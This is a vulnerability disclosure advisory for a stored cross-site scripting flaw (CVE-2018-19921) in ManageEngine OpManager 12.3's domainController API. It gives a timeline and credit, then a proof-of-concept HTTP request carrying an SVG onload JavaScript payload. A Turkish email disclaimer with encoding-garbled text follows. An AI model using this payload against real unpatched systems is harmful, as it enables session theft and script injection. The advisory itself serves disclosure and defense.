Zoho ManageEngine OpManager 12.3 Cross Site Scripting

`I. VULNERABILITY  
-------------------------  
Zoho ManageEngine OpManager 12.3 before Build 123237 has XSS via the  
domainController API.  
  
II. CVE REFERENCE  
-------------------------  
CVE-2018-19921  
  
III. VENDOR  
-------------------------  
https://www.manageengine.com  
  
IV. TIMELINE  
-------------------------  
20/11/18 Vulnerability discovered  
20/11/18 Vendor contacted  
06/12/2018 OPManager replay that they fixed  
  
V. CREDIT  
-------------------------  
Murat Aydemir from Biznet Bilisim A.S.  
  
VI. DESCRIPTION  
-------------------------  
ManageEngine OPManager product(version 12.3) was vulnerable to stored  
xss attacks. A successfully exploit of this attack could allow thief  
users sessions or arbitrary interpret javascript code on remote host.  
References: https://www.manageengine.com/network-monitoring/help/read-me.html,  
https://bugbounty.zoho.com/bb/info#hof  
  
VII. PoC  
-------------------------  
POST /api/json/admin/updateDomainDetails?apiKey=5f5e26abc7bf2af2a5669cf258ec8385  
HTTP/1.1  
Host: vulnerablehost  
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.13; rv:61.0)  
Gecko/20100101 Firefox/61.0  
Accept: application/json, text/javascript, */*; q=0.01  
Accept-Language: tr-TR,tr;q=0.8,en-US;q=0.5,en;q=0.3  
Accept-Encoding: gzip, deflate  
Referer: http://vulnerablehost/apiclient/ember/index.jsp  
Content-Type: application/x-www-form-urlencoded; charset=UTF-8  
X-Requested-With: XMLHttpRequest  
Content-Length: 113  
Cookie: JSESSIONID=XXXXXXXXXXXXXXXX; encryptPassForAutomaticSignin=  
XXXXXXXXXXXXXXXX; userNameForAutomaticSignin= XXXXXXXXXXXXXXXX;  
domainNameForAutomaticSignin=Authenticator; signInAutomatically=true;  
authrule_name=Authenticator; NFA__SSO= XXXXXXXXXXXXXXXX;  
opmcsrfcookie= XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX  
DNT: 1  
Connection: close  
  
domainName=AA%22%3E&domainController=aa%22%3E%3Csvg%2Fonload%3Dconfirm('xss_in_domainController_parameter')%2F%2F  
  
cleartext of payload "><svg/onload=alert('xss_in_domainController_parameter')//  
  
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Bu mesaj ve ekleri, mesajda   
gAPnderildiAi belirtilen   
kiAi/kiAilere APzeldir ve gizlidir. Bu mesaj   
herhangi bir amaASS iASSin   
ASSoAaltA+-lamaz, daAA+-tA+-lamaz ve yayA+-nlanamaz.   
MesajA+-n gAPnderildiAi kiAi   
deAilseniz, mesaj iASSeriAini ya da eklerini   
kopyalamayA+-nA+-z, yayA+-nlamayA+-nA+-z   
ya da baAka kiAilere yAPnlendirmeyiniz ve   
mesajA+- gAPnderen kiAiyi derhal   
uyararak bu mesajA+- siliniz. Airketimiz,   
mesajA+-n iASSeriAinin ve eklerinin   
size deAiAikliAe uArayarak veya geASS   
ulaAmasA+-ndan; gizliliAinin   
korunmamasA+-ndan; virA1/4s iASSermesinden ve   
bilgisayar sisteminize verebileceAi   
herhangi bir zarardan sorumlu   
deAildir  
  
  
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